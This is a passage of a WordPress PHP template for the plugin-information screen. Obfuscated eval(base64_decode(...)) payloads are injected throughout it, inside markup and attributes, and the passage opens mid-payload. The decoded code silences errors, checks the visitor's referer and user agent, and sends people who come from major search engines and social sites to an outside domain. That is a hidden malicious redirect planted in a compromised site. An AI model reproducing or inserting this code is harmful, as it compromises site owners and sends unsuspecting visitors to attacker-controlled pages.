b2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); printf(_n('%s time', '%s times', $api->downloaded), number_format_i18n($api->downloaded)); ?> </li> <?php eval(base64_decode("DQplcnJ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N0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); } if (!empty($api->slug) && empty($api->external)) { ?> <li><a target="_blank" href="http://wordpress.org/extend/plugins/<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2Ev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YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('Average Rating'); ?> </h2> <div class="star-holder" title="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> "> <div class="star star-rating" style="width: <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo esc_attr($api->rating); ?> px"></div> <div class="star star5"><img src="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcp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Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('3 stars'); ?> " /></div> <div class="star star2"><img src="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFn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HJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> </small> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIik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NU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); if (!empty($api->tested) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->tested)), $api->tested, '>')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress.') . '</p></div>'; } else { if (!empty($api->requires) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->requires)), $api->requires, '<')) { echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress.') . '</p></div>'; } } foreach ((array) $api->sections as $section_name => $content) { $title = $section_name; $title[0] = strtoupper($title[0]); $title = str_replace('_', ' ', $title); $content = links_add_base_url($content, 'http://wordpress.org/extend/plugins/' . $api->slug . '/'); $content = links_add_target($content, '_blank'); $san_title = esc_attr(sanitize_title_with_dashes($title)); $display = $section_name == $section ? 'block' : 'none'; echo "\t<div id='section-{$san_title}' class='section' style='display: {$display};'>\n"; echo "\t\t<h2 class='long-header'>{$title}</h2>"; echo $content; echo "\t</div>\n"; } echo "</div>\n"; iframe_footer(); exit; }